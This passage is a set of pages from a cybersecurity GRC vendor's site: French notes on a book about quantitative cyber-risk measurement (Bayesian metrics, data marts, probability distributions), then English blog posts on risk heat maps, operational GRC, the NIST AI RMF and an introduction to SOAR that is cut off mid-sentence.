(Gamma) avec les observations (Poisson) pour obtenir une estimation plus pertinente. Le code R correspondant est disponible sur . La suite du chapitre explique comment vérifier l'efficacité d'une nouvelle mesure de sécurité en utilisant un test A/B bayésien : - Groupe A : données avant la mise en place de la mesure. - Groupe B : données après la mise en place. - Objectif : obtenir un intervalle de confiance à 90% entièrement en zone négative pour la différence B - A. #### Temps d’attente Cette nouvelle métrique est étroitement liée au taux d'arrivée. Elle mesure le délai entre deux arrivées. Les variations de ce délai jouent le rôle d'un canari dans une mine : elles révèlent plus finement qu'un simple taux d'arrivée des changements notables. Pour estimer la probabilité d'arrivée d'un événement, Seiersen propose tout d'abord une approche non bayésienne. La fonction non_bayes_waits() modélise les temps inter-arrivée selon une loi exponentielle (processus de Poisson) et produit une courbe de probabilité cumulée en fonction du temps écoulé depuis le dernier événement, partant de zéro et convergeant asymptotiquement vers 1. Cependant, ce modèle réagit mal à la sur-dispersion (forte variabilité, jours “à zéro”, pics exceptionnels). On peut alors recourir à une approche bayésienne : une période initiale fournit l'a priori, et les données suivantes mettent à jour la croyance pour obtenir l'a posteriori. C’est le rôle de la fonction bayes_waits_basic(), qui combine les deux sources d’information et produit des simulations prédictives. On obtient ainsi une distribution intuitive, permettant par exemple d’estimer la probabilité que l’événement se produise en 1 jour, en 4 jours, etc. #### Taux d'évasion En développement logiciel, le taux d’évasion mesure la proportion de bugs qui parviennent jusqu’en production en échappant aux contrôles prévus, rapportée à l’ensemble des bugs identifiés soit en développement/staging, soit en production. C’est donc un indicateur direct de l’efficacité des contrôles en amont. Ce principe s’applique aussi à de nombreuses métriques de sécurité : vulnérabilités, problèmes de configuration, ou plus généralement tout événement qui franchit une "barrière" de protection. Par extension, un SLA peut être considéré comme une barrière : un problème résolu dans le délai du SLA est réputé maîtrisé, tandis qu’un problème persistant au-delà est assimilé à une évasion. Le chapitre décrit aussi une technique pour corriger les biais liés à la taille des échantillons. Les petits échantillons peuvent donner des résultats trompeurs (effet “coup de chance”), tandis que les séries plus longues inspirent davantage confiance. La fonction emp_bayes_avg() applique une approche bayésienne empirique qui ajuste la moyenne observée en la pondérant par des données de référence issues de l’ensemble des groupes. #### Les magasins de données de sécurité (Security Data Mart - SDM) Les magasins de données de sécurité permettent de répondre à des questions sur l'efficacité des programmes de cybersécurité, et d'estimer le risque résiduel. Ils sont particulièrement efficaces pour mesurer la durée pendant laquelle une activité malveillante est restée présente dans le système sans être détectée. #### Les analytiques prescriptives On distingue trois grandes familles d’analytique : - Analytique descriptive : la plus courante, elle présente des agrégats (sommes, moyennes) sur des sujets d’intérêt, même lorsqu’elle s’appuie sur un SDM. - Analytique prédictive : elle estime la probabilité qu’un événement se produise, à partir de données historiques et de modèles adaptés. - Analytique prescriptive : en combinant des modèles issus de la science des données et de la science de la décision, elle formule des recommandations optimisées sur la meilleure action à entreprendre. L'idée est de prendre en compte dès le départ l'analyse de la décision, et de la faire maturer en injectant progressivement des données observées. Les décisions prises deviennent elles-mêmes des données qui alimentent et affinent en continu le modèle. Cette approche est particulièrement utile pour prioriser le traitement des signaux avant-coureurs, car il n’est pas possible de tous les traiter en pratique. Ce domaine, qui touche à l’intelligence artificielle appliquée à la sécurité, devrait connaître d’importants développements dans les années à venir. ### Chapitre 11 - Évaluer l’efficacité conjointe des investissements en sécurité (_How Well Are My Security Investments Working Together?_) Les approches présentées aux chapitres 8 et 9 permettent d’orienter les choix d’investissements en cybersécurité malgré des données limitées. Une fois ces décisions prises, il faut mesurer si les mesures mises en place atteignent bien les objectifs fixés (KPI). Pour cela, on s’appuie sur le référentiel BOOM. Cette étape ouvre la voie à l’usage de la Business Intelligence (BI) appliquée à la cybersécurité, un domaine très mature dans d’autres secteurs mais encore peu exploité ici. #### Snowflake pour la BI en cybersécurité Le chapitre inclut une contribution d’Omer Singer, présentant la mise en œuvre d’une stack technologique BI moderne basée sur Snowflake. L’exemple traité répond à la question : « Quel pourcentage de fermetures de comptes ont pris trop de temps ? », en exploitant les données issues de Workday et ServiceNow. L'analyse du traitement des vulnérabilités est également détaillée. #### Modélisation dimensionnelle Le texte introduit ensuite la modélisation dimensionnelle, qui vise à définir les dimensions permettant de relier les objets dans des magasins de données. Dans ce modèle, trois dimensions fondamentales forment un cube d'analyse : temps, valeur et risque. En modélisation simplifiée, deux types d'objets sont utilisés : les faits et les dimensions. Un regroupement de dimensions associé à une liste de faits constitue un magasin de données. Si on décline les dimensions fondamentales pour la gestion des vulnérabilités, on obtient une table de faits qui relie les dimensions suivantes : - le temps, sous forme de dates - la valeur, sous forme d'actifs - le risque, sous forme de vulnérabilités Les dimensions conformes sont celles qui relient différents magasins de données. Elles permettent aussi bien l’exploration descendante (_drill down_) à l’intérieur d’un magasin de données que l’exploration transversale (_drill across_) entre plusieurs magasins de données. Les deux principales dimensions conformes sont : - la date - les actifs (portfolio, application, produit, serveur, serveur virtuel, conteneur, microservice, données, etc.) Pour chaque actif, on s'intéresse aux vulnérabilités, à la configuration, aux mesures d'atténuation. Qu'est-ce qu'un "fait de sécurité" ? C'est simplement un événement qui a eu lieu, comme un changement de règle de pare-feu, ou le blocage d'une attaque par un système de prévention des intrusions. Une dimension est la décomposition de quelque chose d'intéressant, la liste des caractéristiques d'un fait qui sont utiles pour poser des questions variées. Pour trouver le bon niveau de décomposition, appliquez le principe de simplicité KISS (_Keep It Simple, Stupid_). #### Exemple pratique : menaces avancées de vol de données (_Advanced Data Stealing Threats_ - ADST) On définit une métrique qui suit les malwares capables d’exfiltrer des données et initialement non détectés par les défenses en place. Pour cela, on utilise une analyse de survie (voir chapitre 10) pour représenter la fonction de survie : en abscisse, la durée d’activité avant détection ; en ordonnée, la proportion de menaces encore actives. L’objectif est, par exemple, de réduire de 20% le nombre de menaces restant actives 70 jours ou plus. Le magasin de données ADST relie plusieurs dimensions : - Actifs : systèmes des utilisateurs finaux (postes, portables, etc.). - HTTP bloqué : historique des tentatives de communication vers des sites malveillants connus. - Vulnérabilités : données descriptives issues des outils de gestion/scans de vulnérabilités. - Configuration : inventaire et suivi des changements des contrôles de sécurité. - Atténuation : règles ou mécanismes ayant bloqué la menace. - Malwares : catalogue des variantes connues par les systèmes de détection. La table de faits enregistre pour chaque menace les dates de détection et de fin, ainsi que les identifiants des dimensions associées. #### Modélisation des processus impliquant des personnes La modélisation dimensionnelle ne s’applique pas uniquement aux processus techniques comme l’ADST, mais aussi aux processus humains, comportant des portes et des jalons. Pour mesurer ces processus, on utilise un instantané cumulatif (_accumulating snapshot_) : on enregistre le temps passé dans chaque phase du processus. En cybersécurité, c’est utile pour suivre les étapes de développement sécurisé, les activités de remédiation, ou les deux. Pour le développement sécurisé, on distingue les phases suivantes : - sécurité par conception - sécurité par défaut - sécurité lors du déploiement Ces phases sont fondamentales dans la gestion d'une chaîne CI/CD. Exemple : suivi de la remédiation d’une vulnérabilité via un système de tickets, avec des dimensions pour le type de risque, l’actif concerné, la remédiation en cours, les personnes impliquées et le temps. Plusieurs points de contrôle et jalons sont mesurés. Chaque étape possède un compteur cumulatif qui additionne les jours jusqu’à la clôture. Ces accumulateurs facilitent les requêtes rapides et les analyses détaillées du processus de remédiation. ### Chapitre 12 - Un appel à l’action : comment déployer la gestion du risque cyber (_A Call to Action: How to Roll Out Cybersecurity Risk Management_) Le livre repose sur trois thèmes majeurs : - Qu’est-ce que la mesure ? - Comment appliquer la mesure ? - Comment améliorer la mesure ? Ce chapitre propose une feuille de route pour établir la gestion du risque cyber (CSRM) comme une fonction stratégique de direction. L’idée est de structurer la cybersécurité autour d’un programme cohérent de gestion quantitative du risque, et non comme un ensemble disparate de techniques quantitatives. #### Charte stratégique du CSRM Le CSRM relèvera directement du PDG et/ou du conseil d’administration. Le poste exécutif associé pourra être CTRO, CRO ou CISO, à condition que le rôle soit redéfini sur une base quantitative. Le CSRM examinera quantitativement toutes les initiatives majeures liées au risque technologique — acquisitions, investissements dans de nouvelles technologies, capital-risque, etc. — afin d’estimer les pertes, les gains et les optimisations possibles. Le CSRM surveillera et analysera l’efficacité des investissements existants dans les mesures de sécurité, afin d’optimiser le rapport coût-bénéfice face aux pertes potentielles. Cette fonction répond à la question : « Mes investissements fonctionnent-ils bien ensemble ? », en s’appuyant sur les approches de modélisation dimensionnelle présentées au chapitre 11. Le CSRM utilisera des méthodes quantitatives éprouvées, en associant probabilités pour la vraisemblance et montants financiers pour l’impact, afin de comprendre et de communiquer les risques. Les courbes de dépassement de pertes (LEC) serviront à discuter et visualiser les risques ainsi que les mesures d’atténuation, en les mettant en perspective avec la tolérance au risque, que ce soit pour une application isolée ou pour un regroupement d’applications. Le CSRM sera responsable du maintien des tolérances au risque à l’échelle de l’entreprise, en coordination avec la direction financière, la direction générale et le conseil d’administration. Le dépassement de la tolérance au risque constituera l’indicateur clé (KPI) de gestion du risque. Le CSRM assurera également la gestion et le suivi des exceptions à la tolérance au risque. Le CSRM pilotera les assurances cyber en coordination avec les fonctions financières et juridiques, et fournira les principaux paramètres pour alimenter les modèles d’assurance. #### Rôles et responsabilités du CSRM Pour une organisation exposée à des risques se chiffrant en centaines de millions, voire en milliards de dollars, la structure recommandée est la suivante : - Directeur des Risques Technologiques (_Chief Technology Risk Officer_ - CTRO) - Équipes rattachées au CTRO : - Analyse de risque quantitative (QRA) - Formation & développement - Technologies d'analytique - Gestion de programme #### Analyse de risque quantitative (QRA) Les équipes QRA sont constituées d'experts qui utilisent des méthodes statistiques et des outils comme R ou Python pour modéliser les risques, suivre les tolérances définies et optimiser les portefeuilles d’investissements technologiques. Elles interviennent dans les discussions de cadrage des risques, la conception de modèles et l’intégration dans les systèmes de surveillance en temps réel. Chaque analyste pourra suivre en moyenne 10 modèles actifs. #### Formation & développement L’objectif est d’insuffler la culture du risque quantitatif à tous les niveaux de l’organisation, en fournissant supports pédagogiques, formations et accompagnement. Les experts QRA étant rares et coûteux, la priorité est de diffuser les outils et compétences au plus grand nombre. #### Technologies d’analytique Cette équipe gère les infrastructures big data, l’analytique avancée et les solutions cloud nécessaires au traitement massif de données. Elle assure le déploiement de la télémétrie et l’exploitation des données pour produire des résultats analytiques. #### Gestion de programme Cette activité coordonne l’ensemble des fonctions (analyse, formation, technologie) et veille à la cohérence des projets de gestion du risque. Elle s’assure que les actions sont planifiées, suivies et alignées avec la stratégie globale, en évitant que les audits de conformité ne prennent le pas sur la gestion effective des risques. En effet, on est parfois confronté à un problème de mentalité : certaines entreprises confondent conformité réglementaire (ex. PCI) et gestion réelle du risque, ce qui peut être dangereux. #### Audit de l'audit Il faudrait que les audits mesurent vraiment l’efficacité des méthodes de gestion du risque, y compris les approches quantitatives, et pas seulement vérifier la conformité à des méthodes obsolètes ou subjectives (matrices de risque, échelles ordinales, etc.). Seuls les modèles avancés et mathématiques sont audités de manière stricte, alors que les méthodes subjectives ne le sont pas, cela crée un biais contre l’adoption de meilleures approches. Dans les secteurs réglementés, l’audit est indispensable pour valider les nouveaux modèles quantitatifs, éviter les erreurs et garantir la fiabilité avant leur application à grande échelle. #### Comment les auditeurs peuvent éviter de tuer les meilleures approches - Auditer tous les modèles, qu’ils soient explicites ou implicites. - Vérifier la recherche sur les biais d’intuition et exiger des preuves qu’ils ne s’appliquent pas. - Ne pas se limiter à contrôler les calculs, mais questionner la pertinence du modèle. - Demander pourquoi on utilise des méthodes déterministes avec des données incertaines. - Évaluer les modèles ambigus en testant la réalité statistique de leurs catégories. - Exiger des preuves scientifiques comparant la méthode à des alternatives reconnues. - Ne pas accepter l’argument de la simplicité sans preuve qu’un modèle complexe est inutilisable. - Auditer aussi certaines méthodes simples avec plus de rigueur pour équilibrer le traitement. #### Rôle de l'écosystème Cyber - Les organismes de normalisation doivent cesser de promouvoir les matrices de risque et privilégier les méthodes scientifiques basées sur des preuves. - Ces organismes doivent adopter des méthodes fondées sur des preuves plutôt que sur des témoignages ou consensus de comité. - Créer une organisation pour mesurer et suivre la performance réelle des méthodes d’évaluation des risques, et guider les standards. - Les programmes de certification doivent enseigner les méthodes basées sur des preuves et intégrer les nouvelles preuves disponibles. - Les auditeurs doivent appliquer les mêmes standards de validation à toutes les méthodes pour éviter de défavoriser les meilleures. - Les régulateurs doivent reconnaître les lacunes des méthodes actuelles « conformes » et promouvoir de meilleures pratiques. - Les vendeurs, consultants et assureurs doivent exploiter les opportunités offertes par les méthodes quantitatives identifiées. #### Intégration du CSRM dans le reste de l'entreprise (ERM - Enterprise Risk Management) Le CSRM doit s'intégrer dans les autres activités de gestion de risque, en partageant une approche quantitative. À haut niveau, toutes les activités de gestion de risque se ressemblent : une liste d'événements avec une probabilité et une plage de pertes potentielles. Mais quand on rentre dans le détail, la décomposition varie. Néanmoins, le résultat peut s'exprimer comme une courbe de dépassement de pertes (LEC), ce qui permet de les agréger. Les difficultés pour établir l'utilisation de méthodes quantitatives au niveau ERM sont essentiellement les mêmes que celles vues précédemment pour la cybersécurité. #### Gestion de décision intégrée (_Integrated Decision Management_ - IDM) L’ERM (Enterprise Risk Management) n’est qu’une partie de la prise de décision, qui inclut aussi l’incertitude sur les gains possibles, pas seulement les pertes. Pour être efficace, il doit intégrer toutes les méthodes d’analyse de décision, notamment en conditions d’incertitude, et pas seulement la gestion des risques. La cybersécurité doit donc s’intégrer aux méthodes quantitatives déjà utilisées dans d’autres domaines (recherche opérationnelle, actuariat, finance de portefeuille, psychologie de la décision, etc.). Un objectif ambitieux est de créer un système de décision intégré (IDM), une approche globale qui réduise l’incertitude dans les décisions stratégiques et améliore les choix, même dans l’incertitude. Sa mise en place se ferait progressivement, en obtenant l’adhésion des parties prenantes au fil des étapes. #### Peut-on éviter "The Big One" ? The Big One désigne le Risque majeur d'une cyberattaque coordonnée touchant plusieurs grandes organisations simultanément, avec interruption de services critiques et effets économiques massifs. Ce risque a augmenté entre 2016 et 2023. Les méthodes populaires actuelles sont inadaptées pour évaluer de telles situations ; il faut des modèles quantitatifs rigoureux et basés sur des preuves pour analyser et décider comment les atténuer. L’adoption de ces méthodes pourrait améliorer les chances d’éviter ou de mieux gérer un tel événement. ## Annexe A - Quelques distributions ### Distribution triangulaire Paramètres : - UB (_Upper Bound_) = borne supérieure absolue (100% CI) - LB (_Lower Bound_) = borne inférieure absolue (100% CI) - Mode = valeur la plus probable (n’importe où entre UB et LB) Les valeurs générées ne peuvent pas dépasser ces bornes. Utilité : - Utile si l’on connaît des limites absolues mais que la valeur la plus probable n’est pas centrée (contrairement à la distribution normale). - Peut remplacer une lognormale lorsque l’on veut des bornes absolues tout en conservant une asymétrie similaire. Exemple d’usage : nombre d’enregistrements perdus si la valeur la plus probable est proche de la borne haute mais ne peut pas dépasser un maximum connu. Moyenne : (LB+Mode+UB)/3 ### Distribution binaire Paramètres : - P = probabilité de l’événement (entre 0 et 1) Caractéristiques : - Deux résultats possibles : succès (probabilité p) ou échec (probabilité q = 1 – p). - Utilisée pour modéliser des situations où un événement se produit ou non (ex. violation de données sur une période donnée). Utilité : à utiliser pour les situations « tout ou rien ». Moyenne : P ### Distribution normale Paramètres : - UB (_Upper Bound_) = borne supérieure (pour un intervalle de confiance à 90%, 5% au-dessus) - LB (_Lower Bound_) = borne inférieure (pour un intervalle de confiance à 90%, 5% en dessous) Caractéristiques : - Courbe en cloche symétrique (distribution gaussienne) centrée sur la moyenne. - La règle empirique indique que 99,7% des valeurs se trouvent dans ±3 écarts-types autour de la moyenne. - Dans certaines applications, elle peut sous-estimer la probabilité d’événements extrêmes. Utilité : à utiliser quand la probabilité d’un résultat supérieur ou inférieur à la moyenne est équivalente. Moyenne : (UB + LB) / 2 #### Distribution lognormale Paramètres : - UB (_Upper Bound_) = borne supérieure (90% CI, 5% au-dessus) - LB (_Lower Bound_) = borne inférieure (90% CI, 5% en dessous) Caractéristiques : - Alternative préférée à la distribution normale lorsque les valeurs ne peuvent être que positives. - Prend en compte la possibilité d’événements extrêmes rares tout en respectant une borne inférieure à zéro. - Utile pour des valeurs modérément dispersées mais pouvant connaître des pics rares. Utilité : modéliser des pertes potentielles lors d’une cyberattaque, ou le coût d’un projet. Moyenne : exp((ln(UB) + ln(LB)) / 2) ### Distribution beta Paramètres : - α = 1 + nombre de succès (hits) - β = 1 + nombre d’échecs (misses) Caractéristiques : - Donne des valeurs entre 0 et 1, certaines valeurs étant plus probables que d’autres. - Forme et symétrie dépendent des paramètres α et β : valeurs proches donnent une distribution centrée, valeurs élevées resserrent la distribution, α > β la décale à gauche, β > α à droite. - Très utile pour modéliser la fréquence d’un événement à partir d’échantillons ou d’observations historiques. Utilité : situations caractérisées par une série de succès/échecs (ex. fréquence d’une violation de données par an, proportion d’employés respectant une procédure). Moyenne : α / (α + β) Mode (valeur la plus probable) : (α – 1) / (α + β – 2), à condition que α > 1 et β > 1. ### Distribution loi de puissance (Power Law) Paramètres : - α = paramètre de forme - θ = paramètre de localisation (valeur minimale à partir de laquelle la loi s’applique) Caractéristiques : - Décrit des phénomènes avec de rares événements extrêmes et catastrophiques, encore plus que la lognormale. - La plupart des occurrences sont petites, mais il existe une « longue traîne » (_fat tail_) représentant des événements rares mais significatifs. - Permet de modéliser à la fois les événements courants et de prendre en compte les risques extrêmes. Utilité : - Quand on veut s’assurer que des événements catastrophiques, bien que rares, soient modélisés avec une probabilité non négligeable. - Exemples : séismes, pannes électriques majeures, épidémies, défaillances en cascade. Moyenne : (α x θ) / (α – 1) ## Annexe B - Contributions externes Cette annexe rassemble des contributions externes qui viennent illustrer les concepts et idées présentées dans le livre. 1. Decision Analysis to Support Ransomware Cybersecurity Risk Management — Robert D. Brown III 2. Bayesian Networks: One Solution for Specific Challenges in Building ML Systems in Cybersecurity — Rob Mealey 3. The Flaw of Averages in Cyber Security — Sam Savage 4. Password Hacking — Anton Mobley 5. How Catastrophe Modeling Can Be Applied to Cyber Risk — Scott Stransky et Tomas Girnius ### et CISO Assistant dans tous ça ? Nous travaillons actuellement sur l'intégration d'un nouveau module CRQ (Cyber Risk Quantification) qui devrait reprendre la plupart de ces concepts en proposant un mode simple pour s'initier à la démarche (Q4/2025) ainsi qu'un mode avancé pour les organisations plus matures sur le sujet (Q1/2026). --- ### Are Heat Maps Evil in Cyber Risk Management? URL: https://intuitem.com/heat-maps Published: 2025-02-10 Author: Abderrahmane Smimite ### TL;DR Heat maps aren’t evil but they are **limited**. They provide a quick, visual way to communicate risk but often lack precision, consistency, and decision-making value. **Quantitative risk assessment is always preferable when feasible**, offering clearer insights and better ROI justification. Start with qualitative methods if necessary, but treat them as a _stepping stone_, not a destination. And in some cases, risk assessment itself may not be needed—when critical weaknesses and priorities are already well known through strong baselines. At the end of the day, both heat maps and risk models are just tools for a greater mission: protecting what matters, optimally. ### 🔥 The Heat Map Problem Heat maps typically plot likelihood on one axis and impact on the other, with each cell colored to indicate severity. While visually intuitive, this method is fundamentally qualitative—which brings a host of problems: 1. False Precision Heat maps often present subjective judgments as if they were objective data. Assigning a “4” to likelihood and a “5” to impact creates an illusion of mathematical rigor. In truth, those numbers are often guesses, and the color-coded grid conceals the uncertainty behind them. 2. Lack of Consistency Risk ratings can vary wildly depending on who is doing the scoring. One analyst’s “high likelihood” might be another’s “moderate,” especially without clear definitions or calibration across teams. 3. Oversimplification Heat maps force risks into fixed categories (“red”, “yellow”, “green”), which might obscure important nuances. For instance, two “red” risks might have very different financial implications—but look identical on the map. 4. Weak Decision Support Heat maps rarely answer the question that matters most: What should we do, and is it worth it? They often lack the context to support cost-benefit decisions, making it hard to justify investments or prioritize mitigation efforts rationally. ### ✅ The Case for Heat Maps (Yes, They Have a Place) Despite their flaws, heat maps are not useless. In fact, they can be valuable in the right contexts: 1. A Gateway Tool For organizations just beginning to formalize their risk management programs, heat maps offer a simple and accessible entry point. They help start conversations about risk, surface concerns, and begin the process of documentation. 2. Effective Communication Executives and board members often prefer high-level summaries. A heat map can quickly convey risk posture at a glance—provided the underlying assumptions are clearly documented and well understood. 3. Visualizing Known Issues When used transparently, heat maps can help identify clusters of concern and facilitate dialogue across departments, even if they aren’t precise enough for in-depth decision-making. ### 🔢 Why Quantitative Risk Assessment Is Better (When You Can Do It) Ultimately, quantitative methods offer a more reliable and actionable approach to risk management. Rather than using vague labels like “high” and “medium,” quantitative models attempt to assign monetary values and probabilities to risk scenarios. Benefits of Going Quantitative: - Real financial insights: Estimate potential loss exposure in dollars, not colors. - Better prioritization: Compare mitigation options based on expected value or ROI. - Improved trade-off decisions: Evaluate security investments like any other business initiative. - Scalability and repeatability: Use consistent models and data to track risk over time. Frameworks like **FAIR** (Factor Analysis of Information Risk) provide structured methodologies for implementing quantitative risk assessments, even without perfect data. If such frameworks are too impressive for you, you can start by learning about some basic concepts such as Single Loss Expectancy (SLE) and Annual Rate of Occurrence (ARO), once you have modeled your Asset Value (AV) and Exposure Factor (EF). ### ❓ Do You Even Need Risk Assessment? Here’s a provocative but valid argument: > If an organization already has a clear view of its security weaknesses, and those weaknesses are prioritized through a robust baseline or maturity framework, then formal risk assessments may offer limited added value—at least initially. Consider this: - If you’re a small or mid-sized enterprise without MFA, asset inventory, or logging—you don’t need a risk assessment to know where to start. - A well-structured security baseline (e.g., CIS Controls, NIST CSF, ISO 27001) already maps controls to high-value activities. - In many cases, risk management becomes a tool of justification, not discovery. That doesn’t mean risk assessments are useless. **It means that they’re most valuable after foundational work is done** to refine priorities, manage trade-offs, and drive strategic investments. ### 🧭 A Pragmatic Roadmap Heat maps aren’t evil—they’re just limited. The real problem is when organizations mistake them for the end goal, rather than a stepping stone. Here’s a sensible progression: 1. Start with qualitative if data, time, or skills are lacking. 2. Define scales clearly to minimize subjectivity. 3. Document assumptions and regularly revisit them. 4. Use a baseline or maturity model to guide initial prioritization. 5. Quantify selectively: Start with risks where good data exists. 6. Expand gradually toward full quantification as capabilities grow. ### 🎯 Final Thoughts Whether you use heat maps, full risk models, or just a strong baseline—what matters is purposeful action. Your ultimate goal is not to fill out risk matrices or produce elegant graphs. It’s to protect your organization efficiently and effectively. So, no, heat maps aren’t evil. But depending on where you are in your cybersecurity journey, they might be unnecessary, misleading, or even a distraction. Be deliberate, be transparent, and choose the right tools for the right stage. --- ### Introduction to Operational GRC URL: https://intuitem.com/operational-grc Published: 2024-12-28 Author: Abderrahmane Smimite ## Why? Traditionally, Governance, Risk, and Compliance (GRC) has been perceived as merely a bureaucratic exercise, often disconnected from the real security needs of an organization. Operational GRC challenges this perception by focusing on actionable security measures that truly enhance an organization’s cybersecurity posture. This approach moves away from mere compliance to embrace a strategy that drives meaningful security activities. ## What is Operational GRC? Operational GRC is a dynamic and tool-agnostic approach designed to streamline and enhance the way organizations manage their cybersecurity. It transcends traditional GRC frameworks by: - Simplifying complex compliance and risk management processes. - Using knowledge graphs to link and enrich data, which avoids redundancy and promotes clarity. - Ensuring that every entity, regardless of their current tooling—be it advanced GRC platforms or basic Excel sheets—can implement these principles effectively. ## What Operational GRC is Not - Not a Revolutionary Concept: While it refines and redirects GRC efforts, it is not a radical departure from traditional models but rather an evolution through simplicity - Not a Static Definition: It is a flexible, adaptive approach that evolves with your organization’s needs and the broader security landscape. ## Benefits of Operational GRC Operational GRC transforms theoretical GRC frameworks into practical tools that provide tangible benefits: - Focus on Action: Redirects efforts from compliance for compliance’s sake to actions that tangibly protect your organization. - Reusability and Mapping: Facilitates the reuse of controls and policies across various frameworks, enhancing efficiency. - Data-driven Decisions: Employs data to prioritize security actions based on their potential impact and necessity. - Scalable Practices: Grows with your organization, adapting to increased complexity without losing effectiveness. - Collaborative Integration: Fosters better communication and integration between GRC and operational teams, breaking down traditional silos. ## Implementing Operational GRC Implementing operational GRC involves a structured approach that integrates GRC processes directly into daily operations, ensuring they are practical and actionable: 1. Centralize Control Documentation: Enumerate all existing controls—technical systems, processes, policies, and documentation. Catalog these in a centralized repository with detailed tracking of their attributes. 2. Continuous Tracking and Updates: Regularly update the status and attributes of each control as changes occur to keep the data current and actionable. 3. Evidence-Based Compliance: Link controls directly to specific compliance requirements, attaching evidence of implementation directly to the related control. 4. Risk and Control Alignment: Assess existing controls against current risk levels to identify gaps or over-controls. Link each risk to specific mitigating controls and document the process. 5. Action Plans and Compliance Mapping: When new compliance standards are required, map existing controls to these standards and develop action plans for areas of non-compliance. 6. Evidence Collection and Management: Systematically collect and manage evidence of control implementation as an ongoing activity. 7. Integration with Operational Activities: Ensure that GRC processes are integrated with daily operational activities to support both security and compliance. ## Relation to GRC Engineering Operational GRC and GRC Engineering share common goals of modernizing GRC practices but cater to different organizational needs. While GRC Engineering often employs automation to manage GRC tasks—primarily in larger organizations—Operational GRC emphasizes practical, actionable measures suitable for any size organization, promoting iterative improvement and integration. ## About CISO Assistant CISO Assistant is our open-source platform that embodies the principles of Operational GRC. Designed to offer a cohesive environment for managing cybersecurity effectively, it supports the principles of reusability and efficient management of security tasks. To explore how CISO Assistant can enhance your GRC capabilities, start your [trial today](/trial). --- ### NIST's AI Risk Management Framework (AI RMF) URL: https://intuitem.com/overview-ai-risk-management-framework Published: 2024-03-16 Author: Abderrahmane Smimite ## Unveiling the NIST AI Risk Management Framework: Navigating the Future of Trustworthy AI In a world increasingly powered by artificial intelligence (AI), the stakes have never been higher to ensure that these technologies are trustworthy, safe, and beneficial for all. As AI systems weave their way into the fabric of daily life, managing their risks while harnessing their potential for positive impact is paramount. Enter the National Institute of Standards and Technology's (NIST) Artificial Intelligence Risk Management Framework (AI RMF 1.0), a pioneering guide that seeks to balance the innovation of AI with the prudence of risk management. ## A Glimpse into the AI RMF 1.0 AI RMF 1.0 emerges as a beacon for organizations navigating the complex waters of AI deployment. It outlines a comprehensive strategy to manage AI risks, ensuring that AI technologies are developed, deployed, and used responsibly. This framework is not just a set of guidelines; it's a manifesto for the future of AI, one that champions trustworthiness, reliability, and fairness across all AI systems. ## The Core of AI RMF: Governance, Mapping, Measurement, and Management The framework is structured around four pivotal functions: - **Govern:** Establishes the culture, policies, and practices essential for AI risk management. - **Map:** Identifies and understands the context, including potential benefits and risks of AI systems. - **Measure:** Employs qualitative and quantitative tools to assess AI risks and trustworthiness. - **Manage:** Implements strategies to mitigate identified risks, ensuring AI systems align with organizational values and societal norms. ![](https://cdn.sanity.io/images/1c7r7wmk/production/df16236ea0e641a10dd71279737caf9cabc5ad13-1646x1702.png) These functions work in concert to create a holistic approach to AI risk management, emphasizing the importance of adaptability and ongoing evaluation. > NIST's AI RMF criteria have been integrated in CISO Assistant to simplify its usage accross your projects and organization. ## Trustworthiness: The Bedrock of Responsible AI At the heart of the AI RMF is the pursuit of trustworthiness in AI systems. This means developing AI technologies that are valid and reliable, safe, secure, accountable, transparent, explainable, privacy-enhanced, and fair. These characteristics are critical for mitigating negative impacts on individuals, groups, and society at large, ensuring AI systems contribute positively to our world. ## The Living Document: Evolving with AI Recognizing the rapid evolution of AI technologies, the AI RMF is designed as a living document. It invites ongoing review and adaptation, ensuring it remains relevant as new challenges and opportunities in AI emerge. The framework sets the stage for a future where AI systems are not only innovative and powerful but also aligned with ethical standards and public trust. ## Why the AI RMF Matters In a landscape marked by exciting advancements and complex challenges, the NIST AI RMF 1.0 offers a clear path forward. It represents a collective commitment to harnessing AI's potential responsibly, ensuring that as AI technologies advance, they do so in ways that are beneficial, equitable, and sustainable. The NIST AI RMF is not just a framework; it's a call to action for all stakeholders in the AI ecosystem to collaborate in fostering an AI-powered future that upholds the highest standards of trustworthiness and responsibility. As we stand on the brink of this new era, the AI RMF 1.0 guides us in crafting a future where AI technologies not only power innovation but also embody our shared values and aspirations. ## The Path Forward The journey toward responsible AI is a collective one, requiring the engagement of policymakers, technologists, organizations, and society. By adopting the principles and practices outlined in the AI RMF 1.0, we can navigate the complexities of AI with confidence, ensuring that as we step into the future, we do so with a foundation of trust, integrity, and a steadfast commitment to the common good. ## CISO Assistant integration NIST's AI RMF guidelines have been integrated in CISO Assistant to simplify its usage accross your projects and organization. Start today! ![](https://cdn.sanity.io/images/1c7r7wmk/production/6ca2856b2f08504d23bb4ec3fa94a18751f3d42b-1190x568.png) --- ### Security Orchestration, Automation, and Response (SOAR) URL: https://intuitem.com/security-orchestration-automation-response-soar Published: 2024-02-02 Author: Mohamed-Hacène Boukerma This article is an introduction to Security Orchestration, Automation, and Response. Indeed, it aims to present and popularize this system, becoming increasingly topical. ## I. Context Let's give some context before starting to go deeper in this topic. SOC (Security Operation Center) is a team (internal or external to the company) composed by Cybersecurity professionals, monitoring the entire IT infrastructure 24/7. They have different tools to help them identify and register threats to improve the security system like SIEM (Security Information and Event Management) or EDR (Endpoint Detection and Response). Some of you will also be familiar with XDRs (Extended Detection and Response), which are simply an extension of the EDR\'s range of action. While EDR is monitoring and securing terminals to identify suspicious activities and potential security breaches at the endpoint level, SIEM is collecting, analyzing and stocking a huge amount of data but remains passive in the incident response. ### EDR vs SIEM **Endpoint Detection and Response (EDR):** - Focuses on monitoring and securing endpoints like desktops, laptops, servers, and mobile devices. - Utilizes advanced threat detection techniques such as behavioral analysis and machine learning algorithms. - Provides granular visibility and control at the endpoint level. - Helps identify suspicious activities and potential security breaches. - Enables swift incident response at the endpoint level. **Security Information and Event Management (SIEM):** - Aggregates and analyzes security data from various sources across the network, including logs, network traffic, and system events. - Offers comprehensive visibility into an organization\'s security posture. - Facilitates real-time threat detection, incident response, and compliance management. - Provides centralized monitoring and analysis of security events and incidents. - Supports a wide array of security data sources for holistic threat detection and management. #### Differences - EDR focuses on endpoint-specific threats and responses, while SIEM encompasses a broader range of security data sources. - EDR provides granular visibility and control at the endpoint level, whereas SIEM offers centralized monitoring and analysis across the entire IT infrastructure. #### Common Points - Both EDR and SIEM aim to enhance security posture, detect threats, and enable swift incident response. - They play complementary roles in a cybersecurity framework, with EDR focusing on endpoint security and SIEM providing broader visibility and analysis capabilities across the network. Now, SOAR can literally associate and orchestrate these tools to assist the analyst since the threat detection from various sources to the automated response or report. It can even make 